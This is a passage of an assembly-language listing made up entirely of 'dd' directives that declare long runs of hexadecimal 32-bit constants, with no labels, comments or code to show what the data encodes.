		dd 54199068h, 7DE4830Eh, 5994A0B9h, 3918951Eh, 841F3B0Eh
		dd 117E81C5h, 40539EFFh, 3B070A10h, 0BBF099E8h,	7D74EA07h
		dd 81404AD1h, 0F99841FCh, 70F0D2E1h, 0E19836h, 0CB7622B2h
		dd 0DF2C075h, 1E5548h, 9FD17E3Bh, 0C4D773DCh, 0C17BE430h
		dd 80579002h, 8FEDB961h, 0F1E6BE61h, 0FF55D320h, 0B111118Fh
		dd 9A81A6Ch, 0D933100Ch, 181E8178h, 0B0645318h,	4376E099h
		dd 23EADC07h, 9A81E561h, 10405515h, 417AE4h, 8C5CCC0Bh
		dd 0A0D19331h, 0C7323C00h, 396023E1h, 57550042h, 0D7D07F7Eh
		dd 3600C607h, 104BDE61h, 7673877h, 0DAE41AA9h, 0D00530D4h
		dd 10071BFh, 8FEA971Eh,	0FACC429Eh, 0C7FE7h, 0BFEF3C69h
		dd 0D5FFC614h, 43CF6A1Ch, 2322DF00h, 441B46h, 0A141F9Bh
		dd 4B587917h, 5B242B1Dh, 39B11840h, 3D57C0FAh, 0CC001641h
		dd 0AE3F10ABh, 0A000B7A4h, 0DCDB6DF0h, 90770F6h, 499A9398h
		dd 0EC08817Dh, 0AF8F85Bh, 8CC00FEAh, 3C0F4243h,	0E028840h
		dd 0AD0E93B0h, 20F68B22h, 0B8460773h, 5F3900CDh, 692DACFEh
		dd 910319B1h, 38616E20h, 355AF834h, 1FFC01B5h, 956C5008h
		dd 0AE402A8Dh, 825C1CDFh, 591E0167h, 20C75BE5h,	0AFC3C8ABh
		dd 58432D00h, 96D58B0Eh, 725A005Ch, 0DA282659h,	0BC037BEEh
		dd 0C1B8532Fh, 2EB1A01Ch, 6DF0A083h, 57090242h,	0CD7B3193h
		dd 5C80D880h, 5F0091A7h, 520D85B6h, 67FA6E83h, 581F29D2h
		dd 90A41C88h, 54C882E9h, 84500E56h, 2D489E69h, 22508E42h
		dd 0D524D3B7h, 0B042B827h, 46B254Fh, 489FFC28h,	51D64295h
		dd 14044F25h, 0F944AAA3h, 5D14440Bh, 4079034Ch,	0F8629600h
		dd 666ADFFCh, 94F10018h, 0C34509CBh, 0CD007A44h, 2CD9B8A2h
		dd 320BE8Eh, 0FD2F6324h, 7288E0D0h, 5600B03Dh, 2544F4B8h
		dd 71982395h, 4FE038Ah,	7FDDCAA7h, 4BE46CB0h, 31C0EF00h
		dd 0A6D341BBh, 0BCC8035Ah, 0A422CC26h, 0B5D655D8h, 0AFEBE700h
		dd 83A5119Eh, 2E0D01D0h, 0B877ACF8h, 8B3ECC76h,	0D5660700h
		dd 1FE5DBF9h, 82C50047h, 8152FA9Ch, 3600BC16h, 5F6CA8CAh
		dd 0AC0D93h, 6F3B9FF8h,	99712552h, 739AC90Ah, 4C00CF88h
		dd 0CD89A7EBh, 0E35402F0h, 15DA7D41h, 1E423C0h,	80A4643Fh
		dd 0B11923C0h, 9AD58532h, 48740010h, 33DA18E5h,	4500802Dh
		dd 144BA2C5h, 161C6ECh,	3D5CC99Ah, 80CDF4C1h, 9752E911h
		dd 2486CAh, 5101BAA5h, 950A2A2Fh, 32B0F403h, 99639Ah, 0B97F260h
		dd 6160DA31h, 4E5B660Fh, 1505A703h, 58DDF3h, 0CB2FBD46h
		dd 3E765649h, 0A7C6BB00h, 0FFF2DFACh, 283F0031h, 0E6693D9Fh
		dd 6A0010B6h, 8DBB4B1Fh, 0B12987h, 0FC71AA46h, 981E4D56h
		dd 6637606h, 105C61h, 3C4CD59Fh, 0D5F0510h, 49343B01h
		dd 53864880h, 0F3C5CCh,	0BB65821Eh, 0B8EF7468h,	1903A0ECh
		dd 4C8A8025h, 5B3EF801h, 0D54707ACh, 0E071EC88h, 0B3225D42h
		dd 3A2CD000h, 7552B98Dh, 0F1E200E1h, 51F8466Ah,	9C007961h
		dd 1824E9CDh, 56BC88h, 8930BA87h, 0B67DE3EEh, 4F625A0Dh
		dd 1C202E23h, 7B2E07C1h, 500352D4h, 9E5907D2h, 6D97AE00h
		dd 0D6F54CC6h, 0BB7D0089h, 0D01B120Eh, 0FD0E2472h, 0C0E71031h
		dd 8A977713h, 41B50B92h, 0A68002B3h, 5CAB3130h,	0E27D9A00h
		dd 0D6EE0739h, 1420016h, 59389B7Fh, 0D9006BEAh,	6CDCFA1Ch
		dd 0C2D046Ah, 36F32963h, 32F61FD0h, 100E4D00h, 2D6F019h
		dd 54B60064h, 0AED7CF68h, 0E2005706h, 0C8CECA1Ch, 3CADC5h
		dd 1D3FBAA7h, 29CC0D1h,	8C1B0C2Eh, 5F9D1900h, 3E8A8620h
		dd 2F8042BCh, 0B483CFA9h, 3300371Eh, 6C3C6E92h,	2C1D9Eh
		dd 0FC4A75C5h, 1E5E9319h, 0A0076B00h, 564B282Eh, 0C12300F8h
		dd 3E5409CFh, 6A1D687Ah, 287E02Dh, 9EB0BD9Bh, 0BE2ECBh
		dd 7EAA1B1Dh, 4BC945E1h, 96518A00h, 0A0E744F3h,	0E68300EAh
		dd 0F5CAE00Fh, 7B00FB3Ah, 26332EDh, 1D71BBBh, 0BCB752B8h
		dd 406BF5FCh, 0D26D4D8Ch, 9963Eh, 0C82503D0h, 0B1671B2h
		dd 8FDA351Dh, 0E657A880h, 5D017E83h, 0CE54FBADh, 0A228A78Ah
		dd 0F39E1900h, 0C3A2CA45h, 0F47A212Ah, 0C7795511h, 457EE26h
		dd 0EB9E9B76h, 0A83854C3h, 3296CE2h, 70E4C247h,	0C802F2D4h
		dd 0C5B4B9C3h, 43B480E5h, 0BC6A6Eh, 45EEB7D5h, 0AFE88652h
		dd 69007EECh, 0B427470Eh, 0E3FB3FEh, 11F451E0h,	803B5044h
		dd 0E1C6F383h, 0CC1BD700h, 0F2339AE9h, 748D00DBh, 897C791h
		dd 6EF00922h, 0E1008BF4h, 0C2378973h, 865C18h, 0B32C3FD3h
		dd 5EE53994h, 1FFC92E6h, 0C1E30F00h, 7E7696B9h,	0A67A00A7h
		dd 0B8213583h, 0C83AE034h, 0B9D5801Bh, 0D68D66CAh, 0F8E9024Ah
		dd 98736204h
		dd 0B4C06C63h, 0DF00B372h, 8069B024h, 607C8F84h, 0A09718E8h
		dd 4300F8C8h, 21E67994h, 1FCFFCC4h, 1F77798h, 57185C69h
		dd 0A494C8EFh, 500D2E8h, 24DDA04Eh, 3FFB3B3Ah, 4814CE5Fh
		dd 8901F44Ch, 0A5844F99h, 1B872F41h, 126DAEE0h,	0DF610129h
		dd 438E90BBh, 498BFC4Ah, 50280900h, 0DDE336FAh,	30CB176Ah
		dd 619017Ah, 4C5B00Ah, 9221F400h, 0F40EB3h, 0E48AE668h
		dd 5DA7643h, 22F94D00h,	0B320F5ADh, 26FA077Bh, 30F6A533h
		dd 71ED4EABh, 2A0F4F00h, 0E47BA49h, 0D77000C5h,	59219709h
		dd 0B000FD7Bh, 0D067400Fh, 0E24CF12h, 92E79EC1h, 8C520400h
		dd 0B4000EA5h, 0F76183DDh, 74FFCE19h, 42DA0F28h, 1B61802Ah
		dd 20FED917h, 430084F4h, 0A428DB15h, 294635h, 0ECD0D58Ah
		dd 0B092A5B2h, 44E67726h, 663D42h, 0C245BC08h, 0A8FA0700h
		dd 0BED2BDD3h, 3037FE3h, 0BADCCE64h, 0F0E065B7h, 0EA03A78Fh
		dd 6C5EE472h, 2F183FBCh, 0B30D6380h, 447B3AD8h,	4C98087Ch
		dd 34812000h, 3539F34Dh, 0F46F482Ah, 400A4713h,	25B3D44Ch
		dd 29013644h, 77F3A611h, 0F340D54Fh, 0F8990Bh, 0BF7C65ABh
		dd 5B23A478h, 4C456700h, 0F1A7404Eh, 8C750731h,	741BE6DCh
		dd 300FE7Eh, 86219DECh,	6A1E00CCh, 8FD80107h, 3D3FDEA8h
		dd 0D4B38063h, 4DE5265Dh, 0DB1800B0h, 2FE658D9h, 2D00DA91h
		dd 44A4956Dh, 196F37Eh,	9C69B178h, 0E345DCE4h, 0F3BB0C8h
		dd 0AB515014h, 0A71F00A0h, 0C5D61295h, 0D4610444h, 856D347Eh
		dd 922F804Ch, 753FCAD8h, 88E4809Bh, 0DBD6B1C4h,	461913F5h
		dd 0A6500769h, 0ED9CC1C6h, 0C9BC70BBh, 0C0106A00h, 33DED93Fh
		dd 748A0284h, 50BA6205h, 37954C40h, 0E3D37E13h,	6D80EC5Dh
		dd 3A2A0EBh, 41AB0030h,	2B05404Ah, 9BB0F461h, 0C9099400h
		dd 8AE02C6Eh, 0D6B20021h, 805D2B73h, 6F01E5A1h,	1E50908Bh
		dd 41C446B7h, 0D1743F02h, 7B426D00h, 0FBE238A4h, 0A5EFE805h
		dd 90803035h, 0FC0B744h, 7AD88F32h, 0EEAA65E0h,	35EC954Ch
		dd 7984220Eh, 3B172015h, 0C685E4h, 1040609Ch, 26C7CA0Eh
		dd 809858h, 0A8C264B3h,	7CD94Ch, 2DE03546h, 91805286h
		dd 98D14Dh, 0BF166A47h,	2472F1CAh, 2456EFh, 4B6697E9h
		dd 4000C8F5h, 0FF19862Ch, 0BB015h, 0EC7A01B5h, 0BBDA6C70h
		dd 0AFA8E290h, 7D0C0C6Eh, 0D0F2F774h, 31A60ECDh, 82E74DB7h
		dd 0A7604E97h, 0F3993849h, 243F2D00h, 2701CCC2h, 5D9F000Bh
		dd 0C746CA17h, 0E22DDBE6h, 8358EDh, 0D10BA267h,	5F7C1A09h
		dd 0DAD45Ch, 0FE2845B6h, 0EEDFD947h, 0E1763F83h, 42207000h
		dd 0F5D53487h, 0AB181C00h, 0F3430C57h, 75800519h, 453DDD0h
		dd 815F88FDh, 0AC18B0h,	3F1DFFh, 8C536AF9h, 21CAE5C4h
		dd 0ED4C9600h, 68BD6972h, 45B900FFh, 7EE6C090h,	79001520h
		dd 3FE11C0Ch, 73B5A8Dh,	130925C2h, 0BBD91089h, 55FC27F2h
		dd 6CF83300h, 503FFE2h,	78A22EFCh, 0E1880050h, 2042131Ch
		dd 0DAB50101h, 0E4D73733h, 4D28E0CEh, 0F5E12ECDh, 0F9AC0108h
		dd 20FD7A88h, 5117EF0Ch, 0FD03EEB2h, 0C8930238h, 0B9C96EDh
		dd 0B1884D8Dh, 0B6E9B087h, 58004135h, 9868731Dh, 802BB8h
		dd 0F6F25E97h, 9CDCA1A5h, 0BE00249Ah, 5FC36799h, 0FC447A3h
		dd 0E013CB17h, 0BDE92158h, 0EE0A7913h, 9E173040h, 1228E1D9h
		dd 275385h, 8F92064h, 0DC00886Ch, 0C6905F5Dh, 92A178Fh
		dd 795ED9E3h, 0EAB8800h, 8403D706h, 0E06AD489h,	0ED8EA0BEh
		dd 0D64000CCh, 4D072752h, 994F34h, 4C4E43F4h, 266C804Ch
		dd 14DD1DF7h, 0C4A84F05h, 7883200h, 6A0CB464h, 21137C07h
		dd 78E2B8D9h, 3210C1A6h, 0AA842033h, 7323002Fh,	2C2DA64Eh
		dd 3AD66175h, 7F63B01h,	4709D4D0h, 7EE0DEF7h, 0D110DBB0h
		dd 0EC7961E2h, 0AD98B800h, 9F96F4BBh, 6B8C0719h, 0A02A687Dh
		dd 611CF1B0h, 0FE000C7Ah, 0EFBA065Bh, 0D0C7D4h,	0BB22A8DEh
		dd 0EA70F288h, 74B28B24h, 0AB586B00h, 0D0E872h,	0F54A40F7h
		dd 69B9958Eh, 37A2DE00h, 82856B94h, 753D2414h, 97458770h
		dd 18DB8058h, 9F00E7B6h, 15E625B1h, 90989D7Eh, 16B0B74h
		dd 0D082E595h, 770AE0h,	0A98BC6B8h, 0FF1A3959h,	5F07DB00h
		dd 0D6F32DB4h, 37CF3Bh,	746613F5h, 95E0B5Dh, 3518FCE7h
		dd 0EF408C0Fh, 3C388F26h, 0E0891600h, 0B8D8637Ch, 34084C7Eh
		dd 0BEA64607h, 81F747A1h, 71A92839h, 5F702083h,	0C6817205h
		dd 0CC409DD3h, 66890378h, 7F11C3ADh, 93C8C569h,	77042749h
		dd 6D96BAC9h, 2D3A6C80h, 1FFB00E5h, 0A67C85A0h,	440E09F1h
		dd 8F35EA43h, 0A2B28h, 7C77C788h, 863A0291h, 68789D2Fh
		dd 578E7040h, 802D7513h, 1D06F800h, 80E8E1B1h, 0BA094288h
		dd 40CA4F1Ch, 0D38290h,	0A4F86218h, 7A1DF3C8h, 0D615C00h
		dd 0DC23FE5Dh, 0E4AE008Dh, 14584857h, 0B0B66C3h, 0A4632941h
		dd 0F8C09D5Ch, 88189E84h, 67007E6Ch, 0CE56F9B3h, 0E21EAC6h
		dd 57BDCB0Dh, 24303780h, 52006C23h, 0B0178110h,	0BAF1Ch
		dd 7634C8D6h, 0AB257149h, 2B1F8C96h, 1DB4E7D4h,	0D918B135h
		dd 49E26051h, 8917945Bh, 71440595h, 8F2890E9h, 2413368Ah
		dd 0FC404EADh, 0DEB91DDFh, 0D94F00A6h, 0D0FBF572h, 2700CAD3h
		dd 486BAE8Ah, 0B29373h,	5F8C8B66h, 2A6DE39Dh, 0F05CB400h
		dd 0DFF6AB4Ch, 0C4FC5085h, 432E0008h, 0A419057Bh, 0F8001574h
		dd 4CB4F430h, 0C5DC36h,	516EADFEh, 14B36476h, 0FC654000h
		dd 0D5183D79h, 0EDF0001Bh, 4F240A45h, 9B48DE47h, 43B20068h
		dd 0CF5663B5h, 9D48001Eh, 0D4F03E46h, 0FF0059A0h, 51F956Eh
		dd 0A242B0h, 14C4E7F7h,	7D0E2ED0h, 8D52BF07h, 0B4AE6B88h
		dd 0D6D00A0h, 55A936F3h, 0C4A51F7Ah, 400A5EE7h,	0A68342BCh
		dd 0F7003244h, 3CDF638Fh, 2F5B8Dh, 0B10769ADh, 7E7960DEh
		dd 29A45401h, 5A412495h, 5B56034h, 49A52757h, 0AF8700CBh
		dd 0A43F81F7h, 4A553B0Eh, 972A27E8h, 0DA5D5360h, 5B8602A1h
		dd 3D493C0Ch, 0F34D6460h, 3E11A540h, 0F83C89BEh, 0C1247824h
		dd 0CD8D559Bh, 3D2074CFh, 0D55FA400h, 518A185h,	1EB0079h
		dd 9AC3171Ch, 8C7A9D1Ah, 2562B101h, 3706D0A3h, 70728442h
		dd 0E629B0B0h, 2CB215h,	0AE26B8BDh, 7CD3330h, 90701309h
		dd 0D1D40056h, 0EA69256Eh, 79DA3035h, 59BA0E41h, 48DEA417h
		dd 0B4037312h, 0E876C8FFh, 7DF618E7h, 0D6E9015Dh, 5333B7D2h
		dd 990AE0A0h, 8F7E3Fh, 0DF1A4362h, 0ED75C2h, 0BAEFE46Eh
		dd 0CAEE84B0h, 47AA3D1Dh, 0E0089F00h, 2CCDEF1h,	0A34625C6h
		dd 5060302Fh, 2418FC9Ch, 0D5E87842h, 0B064657Dh, 7E80FB72h
		dd 87F59Dh, 8BF481Fh, 5F9510D2h, 0FD6BAA00h, 7041B552h
		dd 56000ABh, 2244BDEAh,	0FC494002h, 87753818h, 5EF14F9Ah
		dd 406CBCC2h, 9E2154h, 0CE9B5C83h, 7E0EDBCCh, 24F7FB01h
		dd 0D50C3365h, 46E88340h, 39711C97h, 0FD22405Ch, 4F72E96Bh
		dd 0BD0B1890h, 17ED9Fh,	1C8C278h, 20400384h, 0C3AC7D55h
		dd 2A01690h, 3544061Fh,	5C9CC680h, 4D1F2B0Ch, 16110C3Ch
		dd 9692256Fh, 0C8020084h, 0C7DD9FCBh, 65008F20h, 0D26A59E6h
		dd 0C691C0h, 4BD3491Eh,	0CCB6FB28h, 0D52D3504h,	0AE004DDEh
		dd 10595E3h, 33884B00h,	18D6EF92h, 9FFA0078h, 50934ACAh
		dd 0F548C84Dh, 0E962005Ch, 8525EED9h, 15A5A069h, 4EAE1DBAh
		dd 83F08AF9h, 5EC59370h, 0CAC5Ch, 159C3E80h, 0AA48D2F4h
		dd 41B1003Ah, 0EEE493BEh
		dd 9E1800BAh, 0AE538824h, 0C2B8701Bh, 0EA8D7900h, 13D76848h
		dd 0B6030BA2h, 2F00F264h, 18214C07h, 9F38D23Fh,	4182E831h
		dd 0C0019EAFh, 0BF8BFE7h, 0E1149C7Eh, 6AC62A83h, 5A4EA4E8h
		dd 35E58200h, 59D96BB6h, 4280E9BAh, 49954A94h, 0D2B0C0EEh
		dd 0FA0D6C00h, 0FD0840DFh, 0CC750001h, 651BFFABh, 90C01CEFh
		dd 0E2390EF8h, 0B2050011h, 8BB61DB9h, 613B9790h, 0D84F8016h
		dd 0C60DAD84h, 0CAB91E41h, 0D48500C1h, 0F5DC2A43h, 0EC021D07h
		dd 1B40E55Ch, 77D6EDC6h, 0F3710575h, 0F786B6Fh,	824024D4h
		dd 0CDB0D1B4h, 47D60613h, 546A9881h, 0E0D624EDh, 7C91D22Bh
		dd 7492000Bh, 51F61EEBh, 0EA3F606Eh, 0E9E892CCh, 771276ECh
		dd 4A2007C3h, 0E71E285h, 80BCFC8Fh, 0F63695FDh,	4C07CC65h
		dd 614429C2h, 57B7B340h, 908AFF5Fh, 0CF321F0h, 0FE10949Ah
		dd 85A44200h, 6CE2A4Dh,	0A15F650Ch, 0D8F8CD24h,	415D20B0h
		dd 13170F1Ch, 69BE8703h, 8796D610h, 114A0181h, 0C9E815FFh
		dd 78F6A6E9h, 7A00542Ah, 5F9D4981h, 2049E78h, 851D4BBCh
		dd 0D2C0D052h, 0CE006CFBh, 43235977h, 604668FEh, 0D7CCE80Fh
		dd 6404E2F8h, 0CE8F617Ch, 18A59C80h, 305E75A3h,	0BC896C2h
		dd 0B00085FBh, 6D352C89h, 8ADD7h, 0F1827315h, 0C03C99CFh
		dd 0AF963400h, 0D7FEB042h, 8CE45D19h, 0B7A4FC00h, 432C582Fh
		dd 0C0A1403h, 90778FC9h, 0E27F659h, 9570E960h, 2C331720h
		dd 0A3007E24h, 22F1A197h, 1463EE2Ah, 0AD777946h, 0A44CBE00h
		dd 0ADCD65B1h, 846D0C16h, 19122800h, 0E5D422ECh, 0F061C9F9h
		dd 0D73FC8h, 2F31A6B2h,	0C542758Bh, 0BAFC3004h,	0D080471Bh
		dd 3FF879E5h, 75E0A8h, 0B65C98AAh, 597146D3h, 4096FC03h
		dd 90C0D028h, 48769205h, 5D0A6483h, 1E90B9CCh, 1F8A79CBh
		dd 8F4383Dh, 46BF7641h,	0DB32097Ch, 0D4805CD5h,	38B6E49Eh
		dd 0ABF465F0h, 0E6FFEC00h, 57C27D34h, 9B2B0008h, 85627647h
		dd 80E754E9h, 0D83FFDDAh, 967314h, 7CDCB5ABh, 27824ADDh
		dd 0DEE0FCB8h, 77B8BB0Ah, 4F00AD87h, 0AC39BD0Fh, 4A981F3Fh
		dd 1CD3963Ch, 1A3E40F5h, 0DAF4BA29h, 0CC38E07h,	456072E5h
		dd 149F9EFDh, 0E11359A5h, 1C00BC59h, 0A3F10EAEh, 8B00DD2Ch
		dd 11B7677Fh, 88FC57h, 0CE6227C1h, 0B147CA2Fh, 0E000425Ah
		dd 5C6C08B2h, 0DE39001Ch, 4CE48F93h, 300DFFFh, 0D9512015h
		dd 614208h, 0F19E3148h,	0FD40F65Fh, 8DE31A00h, 3FC00EAAh
		dd 0D55400DFh, 77E5AD89h, 2CE8B4EBh, 6F3DA300h,	0B8F06B99h
		dd 79BC00CBh, 57E33149h, 261717FDh, 4006A6Eh, 0DCEE5F2Dh
		dd 547F00A1h, 0A7743E9Ch, 0BD00B903h, 97FEB87Dh, 79FEA13h
		dd 8E84309Dh, 0A4EA0Ch,	50F6FDFAh, 0C300EBD5h, 45AC9367h
		dd 51C73Ah, 0CB11C43Fh,	1BA70C37h, 2BB17100h, 0B665B284h
		dd 6CE309F3h, 0F780802Dh, 3A767E98h, 0F452530Fh, 16835DDEh
		dd 0F8DD30FCh, 249048h,	3ECAD707h, 153C47B2h, 4B96DB00h
		dd 72890646h, 0B02B24B5h, 471E007Dh, 1DF07DF3h,	4E6CD700h
		dd 0BED27391h, 448E3E45h, 0C91C5700h, 0A5CF9CB3h, 4C00E298h
		dd 0D14B5034h, 71A0AF09h, 82470041h, 6AD88CD0h,	3C00D77Ah
		dd 4A67F22Eh, 0C193697Dh, 0EB377EC8h, 62F5FC3Eh, 4D7DF070h
		dd 0C03358h, 77489FA5h,	5865100Eh, 70C0E8CAh, 3D2AF6Ch
		dd 821DDE00h, 0B9884E35h, 0F47F014Ah, 5FB8A2DDh, 0A080DA40h
		dd 373E256Fh, 0C145B70Eh, 0E075E997h, 733510h, 4BD2B081h
		dd 0FBE8C9D3h, 3637CDECh, 0F38620DCh, 6516B010h, 80E310F7h
		dd 0A6C8DEF4h, 3450AC09h, 77805D70h, 404DC732h,	0C158CC61h
		dd 0D34711D2h, 28D0B145h, 0B4ABD0C7h, 61003C24h, 2E7671B0h
		dd 830097ACh, 0B3B6C7D3h, 35238F2h, 0B02D3912h,	309EA8C6h
		dd 9030F81Fh, 79B169D2h, 186FD8h, 63B09B50h, 0BA26A478h
		dd 0AA000F76h, 0F2EE446Dh, 95A797h, 0E73F0424h,	0A88417DFh
		dd 0BB5C3Fh, 99908FA1h,	0A287BCh, 0D3F81B45h, 0E8B9D7F5h
		dd 53FD2100h, 0E97D8670h, 42DB0EB3h, 2A80D5A7h,	3BF9A99Dh
		dd 3435E41Eh, 997F4E80h, 8BDA90h, 0CB628EDh, 1C81B123h
		dd 0D4F83Dh, 98CAD031h,	9A391Dh, 48155AEEh, 899B1353h
		dd 0E57FCE05h, 9444B68Eh, 2C80EDE8h, 671728h, 5B04B7CCh
		dd 0D38E9CBBh, 76DB8200h, 0CD3D8626h, 209A3Eh, 0B121CAF9h
		dd 8A124DB5h, 0BC17E005h, 0A4D0BF6Ah, 6370A46h,	0D8B6C6E4h
		dd 0E302682Ch, 0B1E5615Dh, 3538484Eh, 31E9609Eh, 69CE430Ch
		dd 8C62DC00h, 0D304D0CFh, 8F953B83h, 4A782580h,	0C739D8BAh
		dd 0E8A11518h, 0D68E39h, 572EC8E5h, 0C5D50767h,	0EE839A02h
		dd 48F6CE75h, 0E2C6843Ch, 9F6A00ECh, 3C0AA1BBh,	0E707CBB5h
		dd 2CAA909Dh, 8840B435h, 7F7EDCE0h, 113201DBh, 800D504Dh
		dd 940870CFh, 0F7BD6300h, 0AC25A430h, 613A1EE3h, 0EE594766h
		dd 50FA32B5h, 2508C160h, 8F87C01Dh, 63FC7400h, 24F721B0h
		dd 6CA751h, 9E55E4FEh, 0B600144Eh, 623F0BA0h, 0C3B88F12h
		dd 0F6F3F589h, 0C48C190h, 0E80087F8h, 0FFB34383h, 1C253247h
		dd 7BE2173h, 80A1CA54h,	0A37DC79Bh, 0FFC9A3Fh, 404C971Dh
		dd 21FDDF29h, 0D38500A5h, 40C8156Dh, 0F1F826E3h, 6A9CD601h
		dd 0E4915DA8h, 0E7F01881h, 0F09B46DEh, 9C008B45h, 0F843C04Ch
		dd 0C6D1160Ah, 38C9B220h, 20454131h, 60D6869Ah,	18A8E336h
		dd 20D0F25Ah, 0CC0C2273h, 2844FC89h, 3FDBEC21h,	31F0A6BAh
		dd 0C309C06Fh, 81208020h, 0FB12DB91h, 0BA350016h, 57255AFCh
		dd 50C3D40Eh, 18D533Eh,	0D32CEDC1h, 8C3D4955h, 2051C378h
		dd 24B140F5h, 2E461200h, 0E6961E5h, 0F4B61CCFh,	0CC680B3h
		dd 0C3E4F267h, 947A9200h, 68DD08A5h, 0C1783F38h, 50B0B280h
		dd 664CDEEFh, 0E3F98403h, 983C7E47h, 70F29Ah, 8524A307h
		dd 39CE269Eh, 5398EF03h, 90047837h, 0DF801Bh, 5F34EC3Dh
		dd 5215D27h, 44833E13h,	0D0680900h, 3B4841h, 0FCADBE97h
		dd 662123E9h, 86A31301h, 0CB08751Dh, 81DC1CC1h,	9C4100E4h
		dd 0A3171AAAh, 0FF0052ADh, 0A5F945A6h, 165C4DAh, 955597E3h
		dd 0FCC90F5Fh, 82FAA283h, 817D190Bh, 0C8CB0CACh, 5D04A543h
		dd 8E5579C0h, 69450026h, 0FB4F1B8h, 6E1952D9h, 0EC282962h
		dd 0CE40F4h, 0A08EE085h, 9AABF95Eh, 6E39ECFBh, 0D23C4D10h
		dd 2154B811h, 5FDD08B2h, 7843190h, 41A6480Bh, 1416D51h
		dd 84113D05h, 104A1201h, 9895304h, 28A11A08h, 447C085Eh
		dd 3CA07D68h, 82894824h, 6A440A08h, 5D2284A1h, 876423Eh
		dd 143F9437h, 7F112875h, 3F1A2234h, 8300D813h, 245F45FBh
		dd 31003686h, 0E5A9E3C4h, 5916633h, 297455F6h, 0F7C0BB93h
		dd 0E2DE6344h, 0BC35509Eh, 4707002Bh, 15EF9FBBh, 0A0000351h
		dd 27EEBA3h, 0C30140h, 0D8FCDB11h, 433BDC8Dh, 0E60044E2h
		dd 8CDF2C27h, 884BA7h, 0B422EE09h, 89194945h, 31D43402h
		dd 0C0654FB3h, 2D35462h, 4E59B1A4h, 8488727h, 9400F606h
		dd 939D4686h, 1B29EA7h,	4CB67892h, 83A90AACh, 0BA73D540h
		dd 0D9BC988Fh, 105900D4h, 0FA564A1Fh, 0B0F3F60h, 80F9C6A8h
		dd 12C5C2A5h, 0E91F0180h, 6FCC9CB4h, 202C21F8h,	0F60C9DD2h
		dd 58AD7E3Eh, 0E28BEC15h, 3CEC30C0h, 0E9F91C50h, 7C554428h
		dd 80C2FE29h, 0DD1A0Fh,	0F4A8209Eh, 9F5600E1h, 5E50B89Ch
		dd 0CB00C929h, 7C7EA046h, 60185DF2h, 1A54D0BAh,	0F86051FBh
		dd 8D2D8EA0h, 0DA4B0CEBh
		dd 6988B843h, 7300D0ECh, 0EDACBAF8h, 322795h, 896AA040h
		dd 39BB0F29h, 0EC8A4E02h, 0E0DF4BADh, 98EA76h, 0C7933166h
		dd 2590B568h, 0A9008E7Dh, 0A13E99Fh, 385BE7ABh,	0CA07708Bh
		dd 0F06E0FBBh, 9843F667h, 0BAC19000h, 0B3B4507h, 0A4AE3DF7h
		dd 9A806500h, 0FF09576Bh, 0CBF47900h, 7FFA3482h, 366E2A3h
		dd 3B107B93h, 31F05AE8h, 910018D9h, 0EC78E7FCh,	1ED7AD4Fh
		dd 0C0FE6A40h, 24B55561h, 8D003B2Ah, 0DB3E0C1Eh, 2848F1F0h
		dd 0DF7622h, 4D9F5843h,	3E1668B0h, 132CD000h, 0EC8CCDAh
		dd 0F65501F5h, 0AA401FEEh, 0D926C857h, 154885E0h, 50383A1Ah
		dd 0EF3FCCACh, 0EEE51447h, 2A0902FCh, 484DF70Fh, 1429FA0Ch
		dd 0F44290DDh, 0CDFD8007h, 8362E4E5h, 43E8D744h, 413C15FCh
		dd 45F58006h, 1ABEAA6Ah, 5F7603E5h, 637927A4h, 428023A0h
		dd 3FCC3700h, 0ADE3B386h, 0FE481DA3h, 0F611C15Fh, 0FC46825Eh
		dd 6200E1ECh, 561D7B7Ah, 65DD994h, 33F44E4Ch, 9F0BD04Dh
		dd 0DCDE126Eh, 24C01CF5h, 68761870h, 8C004A73h,	866BEBB2h
		dd 0A10B60h, 4384698h, 5649ACB0h, 81B46339h, 9B34AA61h
		dd 38F09FE3h, 4222C064h, 76822EF6h, 4F0FA776h, 406AA323h
		dd 0CD14E034h, 73F90083h, 0DF622F38h, 1898C0A5h, 9F119600h
		dd 13A00843h, 56F103ABh, 76C95334h, 2B014998h, 0BD3E5500h
		dd 4EB2947Dh, 7006988Bh, 360F031Bh, 0A39FE0B1h,	40239ED8h
		dd 2AC2FB00h, 39CADE5Bh, 65E10046h, 0B57FE3A4h,	0D200A207h
		dd 0ADF3226Bh, 129960h,	7196819Ch, 54E92BE3h, 8975263Bh
		dd 37B309Bh, 990D2EB8h,	1C34F599h, 37F103DDh, 551FDC3Eh
		dd 0A47728D8h, 0D519B824h, 6C49E81Eh, 7C400C5h,	75F293h
		dd 0A024A1DEh, 98377D1Ah, 0A5438601h, 0C66A10ECh, 13AEA070h
		dd 4009829Ch, 77CEBC1Ch, 6600279Eh, 34D9D150h, 0FE2C6A97h
		dd 0F9680799h, 10BBE972h, 4E15B93Bh, 0CF013890h, 4BE6C419h
		dd 0DC41A045h, 0C5FD2599h, 3EBAD1F0h, 48C5DABh,	8180F554h
		dd 3A2CF477h, 5B81947Fh, 0B6C4B763h, 0B164F440h, 40695420h
		dd 404A4126h, 4F0A1C14h, 0C1036C90h, 6840E98Bh,	88C686h
		dd 0BEA60682h, 9CAF19DFh, 0C85F8C2Ch, 501DD483h, 34702869h
		dd 752AFCA8h, 0CDAE00F4h, 734FF674h, 650088F1h,	0C09EABE2h
		dd 5D12EEh, 0F6247AEBh,	526DBF13h, 818E4638h, 4A372C6h
		dd 0D8FCD547h, 0F2D100FAh, 756935A0h, 0FF00F1C0h, 0BDE7D2A7h
		dd 7A261F9h, 634C6ED1h,	8122B0A0h, 6B00C6ABh, 0E2323D18h
		dd 0D6BDF0h, 0D408DAFEh, 3F62F47Fh, 0F6E2C00h, 58F650A8h
		dd 7D0A3EECh, 0CF005BC8h, 0EF286D29h, 61003F40h, 0EDDBA446h
		dd 18C86F1h, 1DB9813Ch,	0EC93CF3Ah, 97005F9Dh, 1B2A371Ch
		dd 80EFA5h, 0B39F12CEh,	69430896h, 3DDD748h, 2DC8C0BEh
		dd 49D5908Ch, 0F44F0265h, 0C3A0E6FDh, 5452F440h, 0E8005A7Ah
		dd 0AA32E42Eh, 46F23D7h, 8E7AFB4Eh, 208CC762h, 0CFD2F79Fh
		dd 7491A207h, 57108456h, 0C39BCBh, 5B9C4B44h, 6BBF40AFh
		dd 9034607h, 0C1181EAh,	1FD44835h, 0FDF0073h, 0C6844453h
		dd 6B00C558h, 64D0A9F6h, 1DCB1A8h, 56996659h, 6176AB01h
		dd 7F852005h, 0AAF37900h, 0B0CF6F88h, 3C5E0B2Bh, 3800AB56h
